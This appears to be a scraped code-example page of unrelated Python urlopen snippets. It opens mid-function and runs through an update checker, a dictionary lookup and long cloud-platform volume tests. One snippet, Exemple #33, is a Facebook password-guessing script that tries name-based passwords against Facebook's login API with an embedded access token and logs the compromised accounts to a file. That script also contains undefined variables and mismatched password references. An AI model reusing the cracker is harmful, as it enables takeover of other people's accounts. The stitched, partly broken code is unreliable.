            print(colored('=' * line_length, 'green'))
            print(colored("   New Version %s Found, Go to following link to download:" % update_version[:-4],
                          'green'))
            print(colored("   http://www-tac.cisco.com/~yalv/development/Zenus/Zenus.EN.html", 'green'))
            print("OR")
            print(colored("   http://www-tac.cisco.com/~yalv/development/Zenus/Zenus.CN.html", 'green'))
            print("")
            note_raw = urlopen("http://www-tac.cisco.com/~yalv/development/Zenus/download/mac/note")
            notes = note_raw.read()
            print(colored(notes, 'green'))
            print(colored('=' * line_length, 'green'))
        else:
            pass
    except:
        pass
Exemple #31
0
def searchWord(word):
    url = r'http://fanyi.youdao.com/openapi.do?keyfrom=<yourname>&key=<yourkey>&type=data&doctype=json&version=1.1&q=' + word
    f = urlopen(url)
    jsonStr = f.read()
    getData(jsonStr)
Exemple #32
0
def get_page(url):
    try:
        import urllib
        return urllib.urlopen(url).read()
    except:
        return ""
Exemple #33
0
 def main(arg):
     global cekpoint, oks
     user = arg
     try:
         os.mkdir('out')
     except OSError:
         pass
     try:
         a = requests.get('https://graph.facebook.com/' + user +
                          '/?access_token=' + toket)
         b = json.loads(a.text)
         pass1 = b['first_name'] + '786'
         data = urllib.urlopen(
             "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
             + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
         )
         q = json.load(data)
         if 'access_token' in q:
             print '\x1b[1;92m[OK] \x1b[1;92m ' + user + ' \x1b[1;92m | \x1b[1;92m ' + pass1 + ' 😋 ' + b[
                 'name']
             oks.append(user + pass1)
         else:
             if 'www.facebook.com' in q["error_msg"]:
                 print '\x1b[1;36;40m[CP] \x1b[1;97m ' + user + ' \x1b[1;36;40m|\x1b[1;97m ' + pass1 + ' 😋 ' + b[
                     'name']
                 cek = open("out/CP.txt", "a")
                 cek.write(user + "|" + pass1 + "\n")
                 cek.close()
                 cekpoint.append(user + pass1)
             else:
                 pass2 = b['first_name'] + '123'
                 data = urllib.urlopen(
                     "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                     + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                 )
                 q = json.load(dafa)
                 if 'access_token' in q:
                     print '\x1b[1;92m[OK] \x1b[1;92m ' + user + ' \x1b[1;92m | \x1b[1;92m ' + pass2 + ' 👽 ' + b[
                         'name']
                     oks.append(user + pass2)
                 else:
                     if 'www.facebook.com' in q["error_msg"]:
                         print '\x1b[1;36;40m[CP] \x1b[1;97m ' + user + ' \x1b[1;36;40m|\x1b[1;97m ' + pass2 + ' 👽 ' + b[
                             'name']
                         cek = open("out/CP.txt", "a")
                         cek.write(user + "|" + pass2 + "\n")
                         cek.close()
                         cekpoint.append(user + pass2)
                     else:
                         pass3 = b['first_name'] + '12345'
                         data = urllib.urlopen(
                             "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                             + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                         )
                         q = json.load(wifi)
                         if 'access_token' in q:
                             print '\x1b[1;92m[OK] \x1b[1;92m ' + user + ' \x1b[1;92m | \x1b[1;92m ' + pass3 + ' 👽 ' + b[
                                 'name']
                             oks.append(user + pass3)
                         else:
                             if 'www.facebook.com' in q["error_msg"]:
                                 print '\x1b[1;36;40m[CP] \x1b[1;97m ' + user + ' \x1b[1;36;40m|\x1b[1;97m ' + pass3 + ' 👽 ' + b[
                                     'name']
                                 cek = open("out/CP.txt", "a")
                                 cek.write(user + "|" + pass3 + "\n")
                                 cek.close()
                                 cekpoint.append(user + pass4)
                             else:
                                 pass4 = b['first_name'] + '1234'
                                 data = urllib.urlopen(
                                     "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                     + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                 )
                                 q = json.load(wifi)
                                 if 'access_token' in q:
                                     print '\x1b[1;92m[OK] \x1b[1;92m ' + user + ' \x1b[1;92m | \x1b[1;92m ' + pass4 + ' 👽 ' + b[
                                         'name']
                                     oks.append(user + pass4)
                                 else:
                                     if 'www.facebook.com' in q[
                                             "error_msg"]:
                                         print '\x1b[1;36;40m[CP] \x1b[1;97m ' + user + ' \x1b[1;36;40m|\x1b[1;97m ' + pass4 + ' 👽 ' + b[
                                             'name']
                                         cek = open("out/CP.txt", "a")
                                         cek.write(user + "|" + pass4 +
                                                   "\n")
                                         cek.close()
                                         cekpoint.append(user + pass4)
                                     else:
                                         pass5 = '786786'
                                         data = urllib.urlopen(
                                             "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                             + (user) +
                                             "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                         )
                                         q = json.load(data)
                                         if 'access_token' in q:
                                             print '\x1b[1;92m[OK] \x1b[1;92m ' + user + ' \x1b[1;36;40m|\x1b[1;92m ' + pass5 + ' 👽 ' + b[
                                                 'name']
                                             oks.append(user + pass5)
                                         else:
                                             if 'www.facebook.com' in q[
                                                     "error_msg"]:
                                                 print '\x1b[1;36;40m[CP] \x1b[1;97m ' + user + ' \x1b[1;36;40m|\x1b[1;97m ' + pass5 + ' 👽 ' + b[
                                                     'name']
                                                 cek = open(
                                                     "out/CP.txt", "a")
                                                 cek.write(user + "|" +
                                                           pass5 + "\n")
                                                 cek.close()
                                                 cekpoint.append(user +
                                                                 pass5)
                                             else:
                                                 pass6 = b[
                                                     'last_name'] + '123'
                                                 data = urllib.urlopen(
                                                     "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                     + (user) +
                                                     "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                 )
                                                 q = json.load(data)
                                                 if 'access_token' in q:
                                                     print '\x1b[1;92m[OK] \x1b[1;92m ' + user + ' \x1b[1;36;40m|\x1b[1;92m ' + pass6 + ' 👽 ' + b[
                                                         'name']
                                                     oks.append(user +
                                                                pass6)
                                                 else:
                                                     if 'www.facebook.com' in q[
                                                             "error_msg"]:
                                                         print '\x1b[1;36;40m[CP] \x1b[1;97m ' + user + ' \x1b[1;36;40m|\x1b[1;97m ' + pass6 + ' 👽 ' + b[
                                                             'name']
                                                         cek = open(
                                                             "out/CP.txt",
                                                             "a")
                                                         cek.write(user +
                                                                   "|" +
                                                                   pass6 +
                                                                   "\n")
                                                         cek.close()
                                                         cekpoint.append(
                                                             user + pass6)
                                                     else:
                                                         pass7 = 'Pakistan'
                                                         data = urllib.urlopen(
                                                             "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                             + (user) +
                                                             "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                         )
                                                         q = json.load(wifi)
                                                         if 'access_token' in q:
                                                             print '\x1b[1;92m[OK] \x1b[1;92m ' + user + ' \x1b[1;36;40m|\x1b[1;92m ' + pass7 + ' 👽 ' + b[
                                                                 'name']
                                                             oks.append(
                                                                 user +
                                                                 pass7)
                                                         else:
                                                             if 'www.facebook.com' in q[
                                                                     "error_msg"]:
                                                                 print '\x1b[1;36;40m[CP] \x1b[1;97m ' + user + ' \x1b[1;36;40m|\x1b[1;97m ' + pass7 + ' 👽 ' + b[
                                                                     'name']
                                                                 cek = open(
                                                                     "out/CP.txt",
                                                                     "a")
                                                                 cek.write(
                                                                     user +
                                                                     "|" +
                                                                     pass7 +
                                                                     "\n")
                                                                 cek.close()
                                                                 cekpoint.append(
                                                                     user +
                                                                     pass7)
     except:
         pass
Exemple #34
0
    def test_02_negative_path(self):
        """
        negative test for volume life cycle
        # 1. Deploy a vm [vm1] with shared storage and  data disk
        #v1. Create VM2 with local storage offering disk offerings
        # 2.TBD
        # 3. Detach the data disk from VM1 and Download the volume
        # 4.TBD
        # 5. Attach volume with deviceid = 0
        # 6. Attach volume, specify a VM which is destroyed
        # 7.TBD
        # 8.TBD
        # 9.TBD
        # 10.TBD
        # 11.Upload the volume from T3 by providing the URL of the downloaded
             volume, but specify a wrong format (not supported by the
             hypervisor)
        # 12.Upload the same volume from T4 by providing a wrong URL
        # 13.Upload volume, provide wrong checksum
        # 14.Upload a volume when maximum limit for the account is reached
        # 15.TBD
        # 16.Upload volume with all correct parameters
             (covered in positive test path)
        # 17.TBD
        # 18.TBD
        # 19.Now attach the volume with all correct parameters
            (covered in positive test path)
        # 20.Destroy and expunge all VMs

        """

        # 1. Deploy a vm [vm1] with shared storage and data disk
        self.virtual_machine_1 = VirtualMachine.create(
            self.userapiclient,
            self.testdata["small"],
            templateid=self.template.id,
            accountid=self.account.name,
            domainid=self.account.domainid,
            serviceofferingid=self.service_offering_1.id,
            zoneid=self.zone.id,
            diskofferingid=self.disk_offering_1.id,
            mode=self.testdata["mode"])
        verify_vm(self, self.virtual_machine_1.id)
        # List data volume for vm1
        list_volume = Volume.list(self.userapiclient,
                                  virtualmachineid=self.virtual_machine_1.id,
                                  type='DATADISK')
        self.assertEqual(
            validateList(list_volume)[0], PASS,
            "Check List volume response for vm id  %s" %
            self.virtual_machine_1.id)
        list_data_volume_for_vm1 = list_volume[0]
        self.assertEqual(
            len(list_volume), 1, "There is no data disk attached to vm id:%s" %
            self.virtual_machine_1.id)
        self.assertEqual(list_data_volume_for_vm1.virtualmachineid,
                         str(self.virtual_machine_1.id),
                         "Check if volume state (attached) is reflected")
        # Variance
        if self.zone.localstorageenabled:
            # V1.Create vm3 with local storage offering
            self.virtual_machine_local_2 = VirtualMachine.create(
                self.userapiclient,
                self.testdata["small"],
                templateid=self.template.id,
                accountid=self.account.name,
                domainid=self.account.domainid,
                serviceofferingid=self.service_offering_2.id,
                zoneid=self.zone.id,
                mode=self.testdata["mode"])
            verify_vm(self, self.virtual_machine_local_2.id)

        # 3. Detach the data disk from VM1 and Download the volume
        self.virtual_machine_1.detach_volume(self.userapiclient,
                                             volume=list_data_volume_for_vm1)
        verify_detach_volume(self, self.virtual_machine_1.id,
                             list_data_volume_for_vm1.id)
        # download detached volume
        self.extract_volume = Volume.extract(
            self.userapiclient,
            volume_id=list_data_volume_for_vm1.id,
            zoneid=self.zone.id,
            mode='HTTP_DOWNLOAD')

        self.debug("extracted url is%s  :" % self.extract_volume.url)
        try:

            formatted_url = urllib.unquote_plus(self.extract_volume.url)
            self.debug("Attempting to download volume at url %s" %
                       formatted_url)
            response = urllib.urlopen(formatted_url)
            self.debug("response from volume url %s" % response.getcode())
            fd, path = tempfile.mkstemp()
            self.debug("Saving volume %s to path %s" %
                       (list_data_volume_for_vm1.id, path))
            os.close(fd)
            with open(path, 'wb') as fd:
                fd.write(response.read())
            self.debug("Saved volume successfully")
        except Exception:
            self.fail(
                "Extract Volume Failed with invalid URL %s (vol id: %s)" %
                (self.extract_volume, list_data_volume_for_vm1.id))

        # 6. Attach volume, specify a VM which is destroyed
        self.virtual_machine_2 = VirtualMachine.create(
            self.userapiclient,
            self.testdata["small"],
            templateid=self.template.id,
            accountid=self.account.name,
            domainid=self.account.domainid,
            serviceofferingid=self.service_offering_1.id,
            zoneid=self.zone.id,
            mode=self.testdata["mode"])
        verify_vm(self, self.virtual_machine_2.id)
        try:
            self.virtual_machine_2.delete(self.apiclient)
        except Exception as e:
            raise Exception("Vm deletion failed with error %s" % e)
        # Create a new volume
        self.volume = Volume.create(self.userapiclient,
                                    services=self.testdata["volume"],
                                    diskofferingid=self.disk_offering_1.id,
                                    zoneid=self.zone.id)

        list_data_volume = Volume.list(self.userapiclient, id=self.volume.id)
        self.assertEqual(
            validateList(list_data_volume)[0], PASS,
            "Check List volume response for volume %s" % self.volume.id)
        self.assertEqual(
            list_data_volume[0].id, self.volume.id,
            "check list volume response for volume id:  %s" % self.volume.id)
        self.debug("volume id %s got created successfully" %
                   list_data_volume[0].id)
        # try  Attach volume to vm2
        try:
            self.virtual_machine_2.attach_volume(self.userapiclient,
                                                 self.volume)
            self.fail("Volume got attached to a destroyed vm ")
        except Exception:
            self.debug("Volume cant not be attached to a destroyed vm ")

        # 11.Upload the volume  by providing the URL of the downloaded
        # volume, but specify a wrong format (not supported by the hypervisor)
        if "OVA" in self.extract_volume.url.upper():
            self.testdata["configurableData"]["upload_volume"][
                "format"] = "VHD"
        else:
            self.testdata["configurableData"]["upload_volume"][
                "format"] = "OVA"
        try:
            self.upload_response = Volume.upload(
                self.userapiclient,
                zoneid=self.zone.id,
                url=self.extract_volume.url,
                services=self.testdata["configurableData"]["upload_volume"])
            self.fail("Volume got uploaded with invalid format")
        except Exception as e:
            self.debug("upload volume failed due %s" % e)
        # 12. Upload the same volume from T4 by providing a wrong URL
        self.testdata["configurableData"]["upload_volume"]["format"] = "VHD"
        if "OVA" in self.extract_volume.url.upper():
            self.testdata["configurableData"]["upload_volume"][
                "format"] = "OVA"
        if "QCOW2" in self.extract_volume.url.upper():
            self.testdata["configurableData"]["upload_volume"][
                "format"] = "QCOW2"
        u1 = self.extract_volume.url.split('.')
        u1[-2] = "wrong"
        wrong_url = ".".join(u1)
        try:
            self.upload_response = Volume.upload(
                self.userapiclient,
                zoneid=self.zone.id,
                url=wrong_url,
                services=self.testdata["configurableData"]["upload_volume"])
            self.upload_response.wait_for_upload(self.userapiclient)
            self.fail("volume got uploaded with wrong url")
        except Exception as e:
            self.debug("upload volume failed due to %s" % e)
        # 13.Upload volume, provide wrong checksum
        try:
            self.upload_response = Volume.upload(
                self.userapiclient,
                zoneid=self.zone.id,
                url=self.extract_volume.url,
                services=self.testdata["configurableData"]["upload_volume"],
                checksome="123456")
            self.upload_response.wait_for_upload(self.userapiclient)
            self.fail("volume got uploaded with wrong checksome")
        except Exception as e:
            self.debug("upload volume failed due to %s" % e)

        # 14.Upload a volume when maximum limit for the account is reached
        account_update = Resources.updateLimit(self.apiclient,
                                               resourcetype=2,
                                               account=self.account.name,
                                               domainid=self.account.domainid,
                                               max=1)
        list_resource = Resources.list(self.apiclient,
                                       account=self.account.name,
                                       domainid=self.account.domainid,
                                       resourcetype=2)
        self.assertEqual(
            validateList(list_resource)[0], PASS,
            "Check List resource response for volume %s" % self.account.name)
        self.assertEqual(
            str(list_resource[0].max), '1',
            "check list List resource response for account id:  %s" %
            self.account.name)
        self.debug("Max resources got updated successfully for account %s" %
                   self.account.name)
        try:
            self.upload_response = Volume.upload(
                self.userapiclient,
                zoneid=self.zone.id,
                url=self.extract_volume.url,
                services=self.testdata["configurableData"]["upload_volume"])
            self.upload_response.wait_for_upload(self.userapiclient)
            self.fail("volume got uploaded after account reached max limit for\
                      volumes ")
        except Exception as e:
            self.debug("upload volume failed due to %s" % e)
Exemple #35
0
    def test_01_positive_path(self):
        """
        positive test for volume life cycle
        # 1. Deploy a vm [vm1] with shared storage and data disk
        # 2. Deploy a vm [vm2]with shared storage without data disk
        # 3. TBD
        # 4. Create a new volume and attache to vm2
        # 5. Detach data disk from vm1 and download it
        #  Variance(1-9)
        # 6. Upload volume by providing url of downloaded volume in step 5
        # 7. Attach the volume to a different vm - vm2
        # 8. Try to delete an attached volume
        # 9. Create template from root volume of VM1
        # 10. Create new VM using the template created in step 9
        # 11. Delete the template
        # 12. Detach the disk from VM2 and re-attach the disk to VM1
        # 13.TBD
        # 14.TBD
        # 15.Migrate volume(detached) and then attach to a vm and live-migrate
        # 16.Upload volume of size smaller  than
            storage.max.volume.upload.size(leaving the negative case)
        # 17.TBD
        # 18.TBD
        # 19.TBD
        # 20.Detach data disks from VM2 and delete volume

        """
        # 1. Deploy a vm [vm1] with shared storage and data disk
        self.virtual_machine_1 = VirtualMachine.create(
            self.userapiclient,
            self.testdata["small"],
            templateid=self.template.id,
            accountid=self.account.name,
            domainid=self.account.domainid,
            serviceofferingid=self.service_offering_1.id,
            zoneid=self.zone.id,
            diskofferingid=self.disk_offering_1.id,
            mode=self.testdata["mode"])
        verify_vm(self, self.virtual_machine_1.id)
        # List data volume for vm1
        list_volume = Volume.list(self.userapiclient,
                                  virtualmachineid=self.virtual_machine_1.id,
                                  type='DATADISK')
        self.assertEqual(
            validateList(list_volume)[0], PASS,
            "Check List volume response for vm id  %s" %
            self.virtual_machine_1.id)
        list_data_volume_for_vm1 = list_volume[0]
        self.assertEqual(
            len(list_volume), 1, "There is no data disk attached to vm id:%s" %
            self.virtual_machine_1.id)
        self.assertEqual(list_data_volume_for_vm1.virtualmachineid,
                         str(self.virtual_machine_1.id),
                         "Check if volume state (attached) is reflected")
        # 2. Deploy a vm [vm2]with shared storage without data disk
        self.virtual_machine_2 = VirtualMachine.create(
            self.userapiclient,
            self.testdata["small"],
            templateid=self.template.id,
            accountid=self.account.name,
            domainid=self.account.domainid,
            serviceofferingid=self.service_offering_1.id,
            zoneid=self.zone.id,
            mode=self.testdata["mode"])
        verify_vm(self, self.virtual_machine_2.id)

        # 4. Create a new volume and attache to vm2
        self.volume = Volume.create(self.userapiclient,
                                    services=self.testdata["volume"],
                                    diskofferingid=self.disk_offering_1.id,
                                    zoneid=self.zone.id)

        list_data_volume = Volume.list(self.userapiclient, id=self.volume.id)
        self.assertEqual(
            validateList(list_data_volume)[0], PASS,
            "Check List volume response for volume %s" % self.volume.id)
        self.assertEqual(
            list_data_volume[0].id, self.volume.id,
            "check list volume response for volume id:  %s" % self.volume.id)
        self.debug("volume id %s got created successfully" %
                   list_data_volume[0].id)
        # Attach volume to vm2
        self.virtual_machine_2.attach_volume(self.userapiclient, self.volume)
        verify_attach_volume(self, self.virtual_machine_2.id, self.volume.id)

        # Variance
        if self.zone.localstorageenabled:
            # V1.Create vm3 with local storage offering
            self.virtual_machine_local_3 = VirtualMachine.create(
                self.userapiclient,
                self.testdata["small"],
                templateid=self.template.id,
                accountid=self.account.name,
                domainid=self.account.domainid,
                serviceofferingid=self.service_offering_2.id,
                zoneid=self.zone.id,
                mode=self.testdata["mode"])
            verify_vm(self, self.virtual_machine_local_3.id)

            # V2.create two data disk on local storage
            self.local_volumes = []
            for i in range(2):

                local_volume = Volume.create(
                    self.userapiclient,
                    services=self.testdata["volume"],
                    diskofferingid=self.disk_offering_local.id,
                    zoneid=self.zone.id)

                list_local_data_volume = Volume.list(self.userapiclient,
                                                     id=local_volume.id)
                self.assertEqual(
                    validateList(list_local_data_volume)[0], PASS,
                    "Check List volume response for volume %s" %
                    local_volume.id)
                self.assertEqual(
                    list_local_data_volume[0].id, local_volume.id,
                    "check list volume response for volume id:  %s" %
                    local_volume.id)
                self.debug("volume id %s got created successfully" %
                           list_local_data_volume[0].id)
                self.local_volumes.append(local_volume)
            # V3.Attach local disk to vm1
            self.virtual_machine_1.attach_volume(self.userapiclient,
                                                 self.local_volumes[0])
            verify_attach_volume(self, self.virtual_machine_1.id,
                                 self.local_volumes[0].id)
        if self.list_storage:
            # V4.create vm4 with zone wide storage
            self.virtual_machine_zone_4 = VirtualMachine.create(
                self.userapiclient,
                self.testdata["small"],
                templateid=self.template.id,
                accountid=self.account.name,
                domainid=self.account.domainid,
                serviceofferingid=self.tagged_so.id,
                zoneid=self.zone.id,
                mode=self.testdata["mode"])
            verify_vm(self, self.virtual_machine_zone_4.id)

            # V5.Create two data disk on zone  wide storage
            self.zone_volumes = []
            for i in range(2):

                zone_volume = Volume.create(
                    self.userapiclient,
                    services=self.testdata["volume"],
                    diskofferingid=self.disk_offering_tagged.id,
                    zoneid=self.zone.id)

                list_zone_data_volume = Volume.list(self.userapiclient,
                                                    id=zone_volume.id)
                self.assertEqual(
                    validateList(list_zone_data_volume)[0], PASS,
                    "Check List volume response for volume %s" %
                    zone_volume.id)
                self.assertEqual(
                    list_zone_data_volume[0].id, zone_volume.id,
                    "check list volume response for volume id:  %s" %
                    zone_volume.id)
                self.debug("volume id:%s got created successfully" %
                           list_zone_data_volume[0].id)
                self.zone_volumes.append(zone_volume)

            # V6.Attach data disk running on ZWPS to VM1 (root disk on shared)
            self.virtual_machine_1.attach_volume(self.userapiclient,
                                                 self.zone_volumes[0])
            verify_attach_volume(self, self.virtual_machine_1.id,
                                 self.zone_volumes[0].id)
            # V7. Create a cluster wide volume and attach to vm running on zone
            # wide storage
            self.cluster_volume = Volume.create(
                self.userapiclient,
                services=self.testdata["volume"],
                diskofferingid=self.disk_offering_1.id,
                zoneid=self.zone.id)
            list_cluster_volume = Volume.list(self.userapiclient,
                                              id=self.cluster_volume.id)
            self.assertEqual(
                validateList(list_cluster_volume)[0], PASS,
                "Check List volume response for volume %s" %
                self.cluster_volume.id)
            self.assertEqual(
                list_cluster_volume[0].id, str(self.cluster_volume.id),
                "volume does not exist %s" % self.cluster_volume.id)
            self.debug("volume id %s got created successfuly" %
                       list_cluster_volume[0].id)
            self.virtual_machine_zone_4.attach_volume(self.userapiclient,
                                                      self.cluster_volume)
            verify_attach_volume(self, self.virtual_machine_zone_4.id,
                                 self.cluster_volume.id)
        if self.list_storage and self.zone.localstorageenabled:
            # V8.Attach zone wide volume to vm running on local storage
            self.virtual_machine_local_3.attach_volume(self.userapiclient,
                                                       self.zone_volumes[1])
            verify_attach_volume(self, self.virtual_machine_local_3.id,
                                 self.zone_volumes[1].id)
            # V9.Attach local volume to a vm running on zone wide storage
            self.virtual_machine_zone_4.attach_volume(self.userapiclient,
                                                      self.local_volumes[1])
            verify_attach_volume(self, self.virtual_machine_zone_4.id,
                                 self.local_volumes[1].id)
        # 5. Detach data disk from vm1 and download it
        self.virtual_machine_1.detach_volume(self.userapiclient,
                                             volume=list_data_volume_for_vm1)
        verify_detach_volume(self, self.virtual_machine_1.id,
                             list_data_volume_for_vm1.id)
        # download detached volume
        self.extract_volume = Volume.extract(
            self.userapiclient,
            volume_id=list_data_volume_for_vm1.id,
            zoneid=self.zone.id,
            mode='HTTP_DOWNLOAD')

        self.debug("extracted url is%s  :" % self.extract_volume.url)
        try:

            formatted_url = urllib.unquote_plus(self.extract_volume.url)
            self.debug("Attempting to download volume at url %s" %
                       formatted_url)
            response = urllib.urlopen(formatted_url)
            self.debug("response from volume url %s" % response.getcode())
            fd, path = tempfile.mkstemp()
            self.debug("Saving volume %s to path %s" %
                       (list_data_volume_for_vm1.id, path))
            os.close(fd)
            with open(path, 'wb') as fd:
                fd.write(response.read())
            self.debug("Saved volume successfully")
        except Exception:
            self.fail(
                "Extract Volume Failed with invalid URL %s (vol id: %s)" %
                (self.extract_volume, list_data_volume_for_vm1.id))
        # checking  format of  downloaded volume and assigning to
        # testdata["volume_upload"]
        if "OVA" in self.extract_volume.url.upper():
            self.testdata["configurableData"]["upload_volume"][
                "format"] = "OVA"
        if "QCOW2" in self.extract_volume.url.upper():
            self.testdata["configurableData"]["upload_volume"][
                "format"] = "QCOW2"
        # 6. Upload volume by providing url of downloaded volume in step 5
        self.upload_response = Volume.upload(
            self.userapiclient,
            zoneid=self.zone.id,
            url=self.extract_volume.url,
            services=self.testdata["configurableData"]["upload_volume"])
        self.upload_response.wait_for_upload(self.userapiclient)
        self.debug("uploaded volume id is %s" % self.upload_response.id)
        # 7. Attach the volume to a different vm - vm2
        self.virtual_machine_2.attach_volume(self.userapiclient,
                                             volume=self.upload_response)
        verify_attach_volume(self, self.virtual_machine_2.id,
                             self.upload_response.id)
        # 8. Try to delete an attached volume
        try:
            self.volume.delete(self.userapiclient)
            self.fail("Volume got deleted in attached state %s " %
                      self.volume.id)
        except Exception as e:
            self.debug("Attached volume deletion failed because  %s" % e)
        # 9. Create template from root volume of VM1(stop VM->create template
        # -> start vm)

        self.virtual_machine_1.stop(self.userapiclient)

        self.list_root_disk_for_vm1 = Volume.list(
            self.userapiclient,
            virtualmachineid=self.virtual_machine_1.id,
            type='ROOT')
        self.assertEqual(
            validateList(self.list_root_disk_for_vm1)[0], PASS,
            "Check List volume response for vm %s" % self.virtual_machine_1.id)
        self.assertEqual(
            len(self.list_root_disk_for_vm1), 1,
            "list root disk for vm1 is empty : %s" % self.virtual_machine_1.id)
        self.template_from_vm1_root_disk = Template.create(
            self.userapiclient,
            self.testdata["template"],
            self.list_root_disk_for_vm1[0].id,
            account=self.account.name,
            domainid=self.account.domainid)
        list_template = Template.list(
            self.userapiclient,
            templatefilter=self.testdata["templatefilter"],
            id=self.template_from_vm1_root_disk.id)
        self.assertEqual(
            validateList(list_template)[0], PASS,
            "Check List template response for template id %s" %
            self.template_from_vm1_root_disk.id)
        self.assertEqual(
            len(list_template), 1,
            "list template response is empty for template id  : %s" %
            list_template[0].id)
        self.assertEqual(list_template[0].id,
                         self.template_from_vm1_root_disk.id,
                         "list template id is not same as created template")
        self.debug("Template id:%s got created successfully" %
                   self.template_from_vm1_root_disk.id)
        self.virtual_machine_1.start(self.userapiclient)
        # 10. Deploy a vm using template ,created  from vm1's root disk

        self.virtual_machine_3 = VirtualMachine.create(
            self.userapiclient,
            self.testdata["small"],
            templateid=self.template_from_vm1_root_disk.id,
            accountid=self.account.name,
            domainid=self.account.domainid,
            serviceofferingid=self.service_offering_1.id,
            zoneid=self.zone.id,
            mode=self.testdata["mode"])
        verify_vm(self, self.virtual_machine_3.id)

        # 11.delete the template created from root disk of vm1
        try:
            self.template_from_vm1_root_disk.delete(self.userapiclient)
            self.debug("Template id: %s got deleted successfuly" %
                       self.template_from_vm1_root_disk.id)
        except Exception as e:
            raise Exception("Template deletion failed with error %s" % e)
        list_template = Template.list(
            self.userapiclient,
            templatefilter=self.testdata["templatefilter"],
            id=self.template_from_vm1_root_disk.id)
        self.assertEqual(
            list_template, None, "Template is not deleted, id %s:" %
            self.template_from_vm1_root_disk.id)
        self.debug("Template id%s got deleted successfully" %
                   self.template_from_vm1_root_disk.id)

        # List vm and check the state of vm
        verify_vm(self, self.virtual_machine_3.id)

        # 12.Detach the disk from VM2 and re-attach the disk to VM1
        self.virtual_machine_2.detach_volume(self.userapiclient,
                                             volume=self.upload_response)
        verify_detach_volume(self, self.virtual_machine_2.id,
                             self.upload_response.id)

        self.virtual_machine_1.attach_volume(self.userapiclient,
                                             volume=self.upload_response)

        verify_attach_volume(self, self.virtual_machine_1.id,
                             self.upload_response.id)

        # 15.Migrate volume(detached) and then attach to a vm and live-migrate
        self.migrate_volume = Volume.create(
            self.userapiclient,
            services=self.testdata["volume"],
            diskofferingid=self.disk_offering_1.id,
            zoneid=self.zone.id)
        list_volume = Volume.list(self.apiclient, id=self.migrate_volume.id)
        self.assertEqual(
            validateList(list_volume)[0], PASS,
            "Check List volume response for volume %s" %
            self.migrate_volume.id)
        self.assertEqual(list_volume[0].id, str(self.migrate_volume.id),
                         "volume does not exist %s" % self.migrate_volume.id)
        self.debug("volume id %s got created successfuly" % list_volume[0].id)

        self.virtual_machine_1.attach_volume(self.userapiclient,
                                             self.migrate_volume)
        verify_attach_volume(self, self.virtual_machine_1.id,
                             self.migrate_volume.id)

        self.virtual_machine_1.detach_volume(self.userapiclient,
                                             volume=self.migrate_volume)
        verify_detach_volume(self, self.virtual_machine_1.id,
                             self.migrate_volume.id)

        list_volume = Volume.list(self.apiclient, id=self.migrate_volume.id)
        self.assertEqual(
            validateList(list_volume)[0], PASS,
            "Check List volume response for volume %s" %
            self.migrate_volume.id)
        self.assertEqual(list_volume[0].id, str(self.migrate_volume.id),
                         "volume does not exist %s" % self.migrate_volume.id)
        self.debug("volume id %s got created successfuly" % list_volume[0].id)
        list_pool = StoragePool.list(self.apiclient,
                                     id=list_volume[0].storageid)
        self.assertEqual(
            validateList(list_pool)[0], PASS,
            "Check List pool response for storage id %s" %
            list_volume[0].storageid)
        self.assertGreater(
            len(list_pool), 0,
            "Check the list list storagepoolresponse for vm id:  %s" %
            list_volume[0].storageid)
        list_pools = StoragePool.list(self.apiclient, scope=list_pool[0].scope)
        self.assertEqual(
            validateList(list_pools)[0], PASS,
            "Check List pool response for scope %s" % list_pool[0].scope)
        self.assertGreater(
            len(list_pools), 0,
            "Check the list vm response for scope :%s" % list_volume[0].scope)
        storagepoolid = None
        for i in range(len(list_pools)):
            if list_volume[0].storageid != list_pools[i].id:
                storagepoolid = list_pools[i].id
                break
            else:
                self.debug("No pool available for volume migration ")

        if storagepoolid is not None:
            try:
                volume_migrate = Volume.migrate(
                    self.apiclient,
                    storageid=storagepoolid,
                    volumeid=self.migrate_volume.id)
            except Exception as e:
                raise Exception("Volume migration failed with error %s" % e)

            self.virtual_machine_2.attach_volume(self.userapiclient,
                                                 self.migrate_volume)
            verify_attach_volume(self, self.virtual_machine_2.id,
                                 self.migrate_volume.id)

            pool_for_migration = StoragePool.listForMigration(
                self.apiclient, id=self.migrate_volume.id)
            self.assertEqual(
                validateList(pool_for_migration)[0], PASS,
                "Check list pool For Migration response for volume %s" %
                self.migrate_volume.id)
            self.assertGreater(
                len(pool_for_migration), 0,
                "Check the listForMigration response for volume :%s" %
                self.migrate_volume.id)
            try:
                volume_migrate = Volume.migrate(
                    self.apiclient,
                    storageid=pool_for_migration[0].id,
                    volumeid=self.migrate_volume.id,
                    livemigrate=True)
            except Exception as e:
                raise Exception("Volume migration failed with error %s" % e)
        else:
            try:
                self.migrate_volume.delete(self.userapiclient)
                self.debug("volume id:%s got deleted successfully " %
